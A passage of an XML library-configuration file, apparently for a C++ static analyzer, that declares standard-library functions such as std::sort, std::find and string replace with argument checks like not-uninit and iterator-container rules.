                     string& replace (const_iterator i1, const_iterator i2, const char* s);
        buffer (4)   string& replace (size_t pos,        size_t len,        const char* s, size_t n);
                     string& replace (const_iterator i1, const_iterator i2, const char* s, size_t n);
         fill (5)    string& replace (size_t pos,        size_t len,        size_t n, char c);
                     string& replace (const_iterator i1, const_iterator i2, size_t n, char c);
         range (6)   template <class InputIterator>
                     string& replace (const_iterator i1, const_iterator i2, InputIterator first, InputIterator last);
initializer list (7) string& replace (const_iterator i1, const_iterator i2, initializer_list<char> il);-->
  <function name="std::string::replace">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::string &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::wstring::replace">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::wstring &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::ofstream::open(const char* filename        , ios_base::openmode mode = ios_base::out); -->
  <!-- void std::ofstream::open(const std::string & filename, ios_base::openmode mode = ios_base::out); -->
  <function name="std::ofstream::open">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
       <not-null/>
       <not-uninit/>
    </arg>
    <arg nr="2" direction="in" default="std::ios_base::out">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::ifstream::open(const char* filename, ios_base::openmode mode = ios_base::in); -->
  <!-- void std::ifstream::open(const std::string & filename, ios_base::openmode mode = ios_base::in); -->
  <function name="std::ifstream::open">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
       <not-null/>
       <not-uninit/>
    </arg>
    <arg nr="2" direction="in" default="std::ios_base::in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::ifstream::close(); -->
  <!-- void std::ofstream::close(); -->
  <!-- void std::fstream::close(); -->
  <!-- void std::wifstream::close(); -->
  <function name="std::ifstream::close,std::ofstream::close,std::fstream::close,std::wifstream::close">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
  </function>
  <!-- void std::fstream::open(const char* filename, ios_base::openmode mode = ios_base::in | ios_base::out); -->
  <!-- void std::fstream::open(const std::string& filename, ios_base::openmode mode = ios_base::in | ios_base::out); -->
  <function name="std::fstream::open">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
       <not-null/>
       <not-uninit/>
    </arg>
    <arg nr="2" direction="in" default="std::ios_base::in | std::ios_base::out">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::filebuf* std::filebuf::open (const char* filename,  ios_base::openmode mode); -->
  <!-- std::filebuf* std::filebuf::open (const string filename, ios_base::openmode mode);-->
  <function name="std::filebuf::open">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <use-retval/>
    <returnValue type="std::filebuf *"/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void reserve (size_t n = 0); -->
  <function name="std::string::reserve,std::wstring::reserve,std::basic_string::reserve">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/string/basic_string_view/substr -->
  <!-- constexpr basic_string_view substr( size_type pos = 0, size_type count = npos ) const; -->
  <function name="std::string_view::substr">
    <use-retval/>
    <returnValue type="std::string_view"/>
    <noreturn>false</noreturn>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::wstring_view::substr">
    <use-retval/>
    <returnValue type="std::wstring_view"/>
    <noreturn>false</noreturn>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- default (1) template <class ForwardIterator>                ForwardIterator std::min_element (ForwardIterator first, ForwardIterator last);
        custom (2) template <class ForwardIterator, class Compare> ForwardIterator std::min_element (ForwardIterator first, ForwardIterator last, Compare comp); -->
  <!-- default (1) template <class ForwardIterator>                ForwardIterator std::max_element (ForwardIterator first, ForwardIterator last);
        custom (2) template <class ForwardIterator, class Compare> ForwardIterator std::max_element (ForwardIterator first, ForwardIterator last, Compare comp); -->
  <function name="std::min_element,std::max_element">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" direction="in" default="">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt > std::pair<ForwardIt,ForwardIt> std::minmax_element( ForwardIt first, ForwardIt last ) -->
  <!-- template< class ForwardIt > std::pair<ForwardIt,ForwardIt> std::minmax( ForwardIt first, ForwardIt last ) -->
  <function name="std::minmax_element,std::minmax">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- template<class InputIterator> typename iterator_traits<InputIterator>::difference_type std::distance (InputIterator first, InputIterator last); -->
  <function name="std::distance">
    <use-retval/>
    <returnValue type="std::ptrdiff_t"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- template <class ForwardIterator, class OutputIterator>  OutputIterator std::rotate_copy (ForwardIterator first, ForwardIterator middle, ForwardIterator last, OutputIterator result); -->
  <function name="std::rotate_copy">
    <leak-ignore/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <iterator container="1" type="middle"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="4" direction="out"/>
  </function>
  <!-- template <class ForwardIterator>  ForwardIterator std::rotate (ForwardIterator first, ForwardIterator middle, ForwardIterator last); -->
  <function name="std::rotate">
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <iterator container="1" type="middle"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- InputIterator std::adjacent_find(InputIterator first, InputIterator last) -->
  <function name="std::adjacent_find">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" default="">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class InputIterator, class T >              InputIterator std::find(InputIterator first, InputIterator last, T val) -->
  <!-- template< class InputIterator, class UnaryPredicate > InputIterator std::find_if(InputIterator first, InputIterator last, UnaryPredicate val) -->
  <!-- template< class InputIterator, class UnaryPredicate > InputIterator std::find_if_not(InputIterator first, InputIterator last, UnaryPredicate val) -->
  <function name="std::find,std::find_if,std::find_if_not">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class InputIt, class OutputIt > OutputIt copy( InputIt first, InputIt last, OutputIt d_first ); -->
  <function name="std::copy">
    <returnValue type="iterator" container="2"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
  </function>
  <!-- template< class InputIt, class Size, class OutputIt > OutputIt copy_n( InputIt first, Size count, OutputIt result ); -->
  <function name="std::copy_n">
    <returnValue type="iterator" container="2"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
  </function>
  <!--        template <class RandomAccessIterator>                            void std::sort (RandomAccessIterator first, RandomAccessIterator last);                (until C++20) -->
  <!--        template <class RandomAccessIterator>  constexpr                 void std::sort (RandomAccessIterator first, RandomAccessIterator last);                (since C++20) -->
  <!-- @todo: template< class ExecutionPolicy, class RandomIt >                void std::sort (ExecutionPolicy&& policy, RandomIt first, RandomIt last);              (since C++17) -->
  <!-- @todo: template< class RandomIt, class Compare >                        void std::sort (RandomIt first, RandomIt last, Compare comp);                          (until C++17) -->
  <!-- @todo: template< class RandomIt, class Compare > constexpr              void std::sort (RandomIt first, RandomIt last, Compare comp);                          (since C++20) -->
  <!-- @todo: template< class ExecutionPolicy, class RandomIt, class Compare > void std::sort (ExecutionPolicy&& policy, RandomIt first, RandomIt last, Compare comp);(since C++17) -->
  <function name="std::sort">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!--        template< class RandomIt>                                        void stable_sort( RandomIt first, RandomIt last );                                                            -->
  <!-- @todo: template< class ExecutionPolicy, class RandomIt >                void stable_sort( ExecutionPolicy&& policy, RandomIt first, RandomIt last );                    (since C++17) -->
  <!-- @todo: template< class RandomIt, class Compare >                        void stable_sort( RandomIt first, RandomIt last, Compare comp );                                              -->
  <!-- @todo: template< class ExecutionPolicy, class RandomIt, class Compare > void stable_std::sort( ExecutionPolicy&& policy, RandomIt first, RandomIt last, Compare comp ); (since C++17) -->
  <function name="std::stable_sort">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- template< class InputIt1, class InputIt2, class OutputIt > OutputIt merge( InputIt1 first1, InputIt1 last1, InputIt2 first2, InputIt2 last2, OutputIt d_first ); -->
  <function name="std::merge">
    <noreturn>false</noreturn>
    <returnValue type="iterator" container="3"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
    <arg nr="4">
      <not-uninit/>
      <iterator container="2" type="last"/>
    </arg>
    <arg nr="5">
      <not-uninit/>
      <iterator container="3" type="first"/>
    </arg>
  </function>
  <!-- template< class RandomIt > void push_heap( RandomIt first, RandomIt last ); -->
  <function name="std::push_heap">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- template< class RandomIt >                   void std::random_shuffle( RandomIt first, RandomIt last ); (deprecated in C++14) (removed in C++17) -->
  <!-- template< class RandomIt, class RandomFunc > void std::random_shuffle( RandomIt first, RandomIt last, RandomFunc& r ); (until C++11) -->
  <!-- template< class RandomIt, class RandomFunc > void std::random_shuffle( RandomIt first, RandomIt last, RandomFunc&& r ); (since C++11) (deprecated in C++14) (removed in C++17) -->
  <!-- template< class RandomIt, class URBG >       void std::shuffle( RandomIt first, RandomIt last, URBG&& g ); (since C++11) -->
  <function name="std::random_shuffle,std::shuffle">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" default="0">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt, class T > void std::fill( ForwardIt first, ForwardIt last, const T& value ); -->
  <function name="std::fill">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt, class Generator >                        void std::generate (ForwardIt first, ForwardIt last, Generator g ); (until C++20) -->
  <!-- template< class ForwardIt, class Generator > constexpr              void std::generate (ForwardIt first, ForwardIt last, Generator g ); (since C++20) -->
  <!-- template< class ExecutionPolicy, class ForwardIt, class Generator > void std::generate (ExecutionPolicy&& policy, ForwardIt first, ForwardIt last, Generator g ); (since C++17) -->
  <function name="std::generate">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class OutputIt, class Size, class T > void std::fill_n( OutputIt first, Size count, const T& value ); // until C++11 -->
  <!-- template< class OutputIt, class Size, class T > OutputIt std::fill_n( OutputIt first, Size count, const T& value ); // since C++11, until C++20 -->
  <!-- template< class OutputIt, class Size, class T > constexpr OutputIt std::fill_n( OutputIt first, Size count, const T& value ); // since C++20 -->
  <!-- template< class ExecutionPolicy, class ForwardIt, class Size, class T > ForwardIt std::fill_n( ExecutionPolicy&& policy, ForwardIt first, Size count, const T& value ); // since C++17 -->
  <function name="std::fill_n">
    <noreturn>false</noreturn>
    <arg nr="1"/>
    <arg nr="2"/>
    <arg nr="3" direction="in"/>
    <arg nr="4" direction="in" default=""/>
  </function>
  <!-- template< class ForwardIt, class T > void iota( ForwardIt first, ForwardIt last, T value ); -->
  <function name="std::iota">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- @todo: iterator iterator erase (const_iterator position); -->
  <!-- iterator std::vector::erase( iterator first, iterator last ); -->
  <!-- iterator std::map::erase( iterator first, iterator last ); -->
  <!-- iterator std::multimap::erase( iterator first, iterator last ); -->
  <!-- iterator std::deque::erase( iterator first, iterator last ); -->
  <!-- iterator std::list::erase( iterator first, iterator last ); -->
  <!-- iterator std::set::erase( iterator first, iterator last ); -->
  <!-- iterator std::multiset::erase( iterator first, iterator last ); -->
  <!-- iterator std::unordered_set::erase( iterator first, iterator last ); -->
  <!-- iterator std::unordered_multiset::erase( iterator first, iterator last ); -->
  <!-- iterator std::unordered_map::erase( iterator first, iterator last ); -->
  <!-- iterator std::unordered_multimap::erase( iterator first, iterator last ); -->
  <function name="std::vector::erase,std::map::erase,std::multimap::erase,std::deque::erase,std::list::erase,std::set::erase,std::multiset::erase,std::unordered_set::erase,std::unordered_multimap::erase,std::unordered_map::erase,std::unordered_multiset::erase">
    <noreturn>false</noreturn>
    <returnValue type="iterator" container="1"/>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- bool std::all_of(InputIterator first, InputIterator last, UnaryPredicate pred) -->
  <!-- bool std::any_of(InputIterator first, InputIterator last, UnaryPredicate pred) -->
  <!-- bool std::none_of(InputIterator first, InputIterator last, UnaryPredicate pred) -->
  <function name="std::all_of,std::any_of,std::none_of">
    <use-retval/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt > ForwardIt std::unique( ForwardIt first, ForwardIt last ); -->
  <function name="std::unique">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- difference_type std::count(InputIterator first, InputIterator last, T val) -->
  <!-- difference_type std::count_if(InputIterator first, InputIterator last, UnaryPredicate val) -->
  <function name="std::count,std::count_if">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt, class UnaryPredicate > ForwardIt std::remove_if( ForwardIt first, ForwardIt last, UnaryPredicate p ); -->
  <function name="std::remove_if">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class Container > std::back_insert_iterator<Container> std::back_inserter( Container& c );-->
  <!-- TODO: Add returnValue type when it is possible to configure it, see trac #9229 -->
  <function name="std::back_inserter">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class BidirIt > void std::reverse( BidirIt first, BidirIt last ); -->
  <function name="std::reverse">
    <returnValue type="void"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- Function std::for_each(InputIterator first, InputIterator last, Function func) -->
  <function name="std::for_each">
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- InputIterator std::search_n(InputIterator first, InputIterator last, Size count, const T& val) -->
  <function name="std::search_n">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="5" default=""/>
  </function>
  <!-- InputIterator std::find_end(InputIterator first1, InputIterator last1, InputIterator first2, InputIterator last2) -->
  <!-- InputIterator std::find_first_of(InputIterator first1, InputIterator last1, InputIterator first2, InputIterator last2) -->
  <!-- InputIterator std::search(InputIterator first1, InputIterator last1, InputIterator first2, InputIterator last2) -->
  <function name="std::find_end,std::find_first_of,std::search">
    <use-retval/>
    <returnValue type="iterator" container="1"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
    <arg nr="4">
      <not-uninit/>
      <iterator container="2" type="last"/>
    </arg>
    <arg nr="5" default="">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- template< class ForwardIt, class T >                       void std::replace   ( ForwardIt first, ForwardIt last, const T& old_value, const T& new_value );-->
  <!-- template< class ForwardIt, class UnaryPredicate, class T > void std::replace_if( ForwardIt first, ForwardIt last, UnaryPredicate p, const T& new_value );-->
  <function name="std::replace,std::replace_if">
    <returnValue type="void"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
    <arg nr="4">
      <not-uninit/>
    </arg>
  </function>
  <!-- template<class BidirIt> void inplace_merge( BidirIt first, BidirIt middle, BidirIt last ); -->
  <!-- template<class ExecutionPolicy, class BidirIt> void inplace_merge( ExecutionPolicy&& policy, BidirIt first, BidirIt middle, BidirIt last ); // since C++17 -->
  <!-- template<class BidirIt, class Compare> void inplace_merge( BidirIt first, BidirIt middle, BidirIt last, Compare comp ); -->
  <!-- template<class ExecutionPolicy, class BidirIt, class Compare> void inplace_merge( ExecutionPolicy&& policy, BidirIt first, BidirIt middle, BidirIt last, Compare comp ); // since C++17 -->
  <!-- TODO: Function argument configuration is not valid for C++17 function overloads -->
  <function name="std::inplace_merge">
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="middle"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
  </function>
  <!-- template< class CharT, class Traits, class Allocator > std::basic_istream<CharT,Traits>& std::getline( std::basic_istream<CharT,Traits>&  input, std::basic_string<CharT,Traits,Allocator>& str, CharT delim ); -->
  <!-- template< class CharT, class Traits, class Allocator > std::basic_istream<CharT,Traits>& std::getline( std::basic_istream<CharT,Traits>&& input, std::basic_string<CharT,Traits,Allocator>& str, CharT delim ); -->
  <!-- template< class CharT, class Traits, class Allocator > std::basic_istream<CharT,Traits>& std::getline( std::basic_istream<CharT,Traits>&  input, std::basic_string<CharT,Traits,Allocator>& str ); -->
  <!-- template< class CharT, class Traits, class Allocator > std::basic_istream<CharT,Traits>& std::getline( std::basic_istream<CharT,Traits>&& input, std::basic_string<CharT,Traits,Allocator>& str ); -->
  <function name="std::getline">
    <noreturn>false</noreturn>
    <arg nr="1" direction="inout"/>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in" default="0">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class InputIt, class Distance >           void std::advance( InputIt& it, Distance n ); (until C++17) -->
  <!-- template< class InputIt, class Distance > constexpr void std::advance( InputIt& it, Distance n );               -->
  <function name="std::advance">
    <noreturn>false</noreturn>
    <arg nr="1" direction="inout">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in"/>
  </function>
  <!-- template< class ForwardIt, class T >           ForwardIt lower_bound( ForwardIt first, ForwardIt last, const T& value ); (until C++20) -->
  <!-- template< class ForwardIt, class T > constexpr ForwardIt lower_bound( ForwardIt first, ForwardIt last, const T& value ); (since C++20) -->
  <!-- TODO: template< class ForwardIt, class T, class Compare >           ForwardIt lower_bound( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (until C++20) -->
  <!-- TODO: template< class ForwardIt, class T, class Compare > constexpr ForwardIt lower_bound( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (since C++20) -->
  <!-- template< class ForwardIt, class T >           ForwardIt upper_bound( ForwardIt first, ForwardIt last, const T& value ); (until C++20) -->
  <!-- template< class ForwardIt, class T > constexpr ForwardIt upper_bound( ForwardIt first, ForwardIt last, const T& value ); (since C++20) -->
  <!-- TODO: template< class ForwardIt, class T, class Compare >           ForwardIt upper_bound( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (until C++20) -->
  <!-- TODO: template< class ForwardIt, class T, class Compare > constexpr ForwardIt upper_bound( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (since C++20) -->
  <function name="std::lower_bound,std::upper_bound">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
  </function>
  <!-- bool std::equal(InputIterator first1, InputIterator last1, InputIterator first2) -->
  <!-- bool std::is_permutation(InputIterator first1, InputIterator last1, InputIterator first2) -->
  <function name="std::equal,std::is_permutation">
    <use-retval/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
  </function>
  <!--       template <class InputIterator, class OutputIterator, class UnaryOperation>                         OutputIterator std::transform (InputIterator first1, InputIterator last1, OutputIterator result, UnaryOperation op); -->
  <!-- @todo template <class InputIterator1, class InputIterator2, class OutputIterator, class BinaryOperation> OutputIterator std::transform (InputIterator1 first1, InputIterator1 last1, InputIterator2 first2, OutputIterator result, BinaryOperation binary_op); -->
  <function name="std::transform">
    <returnValue type="iterator" container="2"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
    <arg nr="4"/>
  </function>
  <!-- pair<InputIterator1, InputIterator2> std::mismatch(InputIterator first1, InputIterator last1, InputIterator first2) -->
  <function name="std::mismatch">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3">
      <not-uninit/>
      <iterator container="2" type="first"/>
    </arg>
  </function>
  <!-- template< class T1, class T2 > std::pair<T1,T2> make_pair( T1 t, T2 u ); // until C++11 -->
  <!-- template< class T1, class T2 > std::pair<V1,V2> make_pair( T1&& t, T2&& u ); // since C++11 until C++14 -->
  <!-- template< class T1, class T2 > constexpr std::pair<V1,V2> make_pair( T1&& t, T2&& u ); // since C++14 -->
  <function name="std::make_pair">
    <noreturn>false</noreturn>
    <use-retval/>
    <arg nr="1"/>
    <arg nr="2"/>
  </function>
  <!-- template< class T >           typename std::remove_reference<T>::type&& move( T&& t ) noexcept; // (since C++11) -->
  <!-- template< class T > constexpr typename std::remove_reference<T>::type&& move( T&& t ) noexcept; // (until C++14) -->
  <function name="std::move">
    <pure/>
    <noreturn>false</noreturn>
    <use-retval/>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt, class T >                bool binary_search( ForwardIt first, ForwardIt last, const T& value ); (until C++20) -->
  <!-- template< class ForwardIt, class T >      constexpr bool binary_search( ForwardIt first, ForwardIt last, const T& value ); (since C++20) -->
  <!-- template< class ForwardIt, class T, class Compare >           bool binary_search( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (until C++20) -->
  <!-- template< class ForwardIt, class T, class Compare > constexpr bool binary_search( ForwardIt first, ForwardIt last, const T& value, Compare comp ); (since C++20 -->
  <function name="std::binary_search">
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <use-retval/>
    <returnValue type="bool"/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <iterator container="1" type="first"/>
    </arg>
    <arg nr="2" direction="in" >
      <not-uninit/>
      <iterator container="1" type="last"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="4" direction="in" default="0">
      <not-uninit/>
    </arg>
  </function>
  <!--#define offsetof(type, member) /*implementation-defined*/-->
  <function name="offsetof">
    <noreturn>false</noreturn>
    <returnValue type="std::size_t"/>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1"/>
    <arg nr="2"/>
  </function>
  <!-- template< class M, class T > /*unspecified*/ mem_fn(M T::* pm); // since C++11 until C++17 -->
  <!-- template< class M, class T > /*unspecified*/ mem_fn(M T::* pm) noexcept; // since C++17 -->
  <function name="std::mem_fn">
    <noreturn>false</noreturn>
    <use-retval/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class ForwardIt > ForwardIt std::next(ForwardIt it, typename std::iterator_traits<ForwardIt>::difference_type n = 1 ); // since C++11 until C++17 -->
  <!-- template< class InputIt > constexpr InputIt std::next(InputIt it, typename std::iterator_traits<InputIt>::difference_type n = 1 ); // since C++17 -->
  <!-- TODO: Specify return value type and iterator type for first argument when this is supported for such types -->
  <function name="std::next">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in" default="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class BidirIt > BidirIt std::prev(BidirIt it, typename std::iterator_traits<BidirIt>::difference_type n = 1 ); // since C++11 until C++17 -->
